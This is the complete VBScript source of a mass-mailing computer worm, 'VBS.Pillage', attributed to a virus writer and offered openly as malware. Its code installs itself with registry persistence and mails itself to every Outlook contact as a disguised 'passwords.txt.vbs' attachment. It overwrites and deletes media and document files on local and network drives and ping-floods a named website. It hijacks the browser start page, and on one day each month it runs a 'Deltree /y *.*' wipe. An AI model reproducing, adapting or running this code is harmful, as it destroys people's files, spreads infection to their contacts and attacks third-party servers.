'VBS.Pillage by DimenZion 3/03
'Greets to Kefi, Zed, rRlf, BCVG, and everyone at Brigada Ocho
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set wsc = CreateObject("WScript.Shell")
Set WinDir = fso.GetSpecialFolder(0)
Set R = fso.GetFile(WScript.ScriptFullName)
R.Copy (WinDir & "\winupdate.vbs")
R.Copy (WinDir & "\passwords.txt.vbs")
wsc.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSrundll32", windir & "\winupdate.vbs"

'Send
Set OutlookApp = CreateObject("Outlook.Application")
Set GNS = OutlookApp.GetNameSpace("MAPI")
For List1 = 1 To GNS.AddressLists.Count
 CountLoop = 1
 For ListCount = 1 To GNS.AddressLists(List1).AddressEntries.Count
  with OutlookApp.CreateItem(57-57)
   SentEmails = wsc.RegRead("HKEY_CURRENT_USER\Software\lexplore\ContactsEmailed\" & GNS.AddressLists(List1).AddressEntries(CountLoop))
   If SentEmails = "" Then
    .Recipients.Add (GNS.AddressLists(List1).AddressEntries(CountLoop))
    .Subject = "Sorry, heres the file you asked for"
    .Body = "I meant to send this to you a week ago, check the attachment."
    .Attachments.Add (WinDir & "\passwords.txt.vbs")
    .DeleteAfterSubmit = 57-57
    .Send
    wsc.RegWrite "HKEY_CURRENT_USER\Software\lexplore\ContactsEmailed\" & GNS.AddressLists(List1).AddressEntries(CountLoop), "VBSWorm Sent."
   end if
  End with
  CountLoop = CountLoop + 1
 Next
Next

'Overwrite
E1()
Sub E1()
On Error Resume Next
For Each SeekNetCopyDrives In fso.Drives 
 If SeekNetCopyDrives.DriveType = 2 Or SeekNetCopyDrives.DriveType = 3 Then E3 (SeekNetCopyDrives.Path & "\")
Next
End Sub

Sub E2(FileTarget)
On Error Resume Next
Set f = fso.GetFolder(FileTarget)
For Each n In f.Files
 Ext = LCase(fso.GetExtensionName(n.Path))
 If Ext = "mp3" Or Ext = "mpg" Or Ext = "doc" Or Ext = "mpeg" Or Ext = "tga" Then
  Execute(StrReverse("sbv." & htaP.n, emaNlluFtpircS.tpircSW, eliFypoC.osf))
  fso.DeleteFile (n.Path)
 End If
 If Ext = "jpg" Then
  Set GetDocFile = fso.GetFile(n.Path)
  GetDocFile.Attributes = 2
 End If
Next
End Sub

Sub E3(FileTarget)
On Error Resume Next
Set f = fso.GetFolder(FileTarget)
For Each n In f.SubFolders
 E2 (n.Path)
 E3 (n.Path)
Next
End Sub

'Pingflood
wsc.Run "Ping.exe -t -l 916 www.teacherweb.com", 0, False

'Start Page
wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.homestarrunner.com"

'Lucky Question
If Day(Now) = 7 Then
 PayloadMsg = MsgBox("Are you feeling lucky?", vbYesNo + vbQuestion, "Decisions, Decisions")
 If PayloadMsg = vbYes Or PayloadMsg = vbNo Then
  Msgbox "Wrong Choice! [VBS.Pillage]"
  Set WriteFormat2 = fso.CreateTextFile("C:\UnLucky.bat", True)
  WriteFormat2.WriteLine "Deltree /y *.*"
  WriteFormat2.Close
  wsc.Run "C:\UnLucky.bat", 0, False
 End If
End If

'Hook
Do
 RegistryKey = wsc.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSrundll32")
 If Not RegistryKey = "" Then
  wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSrundll32", fso.GetSpecialFolder(0) & "\winupdate.vbs"
 End If
 If Not fso.FileExists(fso.GetSpecialFolder(0) & "\winupdate.vbs") Then
  fso.CopyFile WScript.ScriptFullName, fso.GetSpecialFolder(0) & "\winupdate.vbs"
 End If
Loop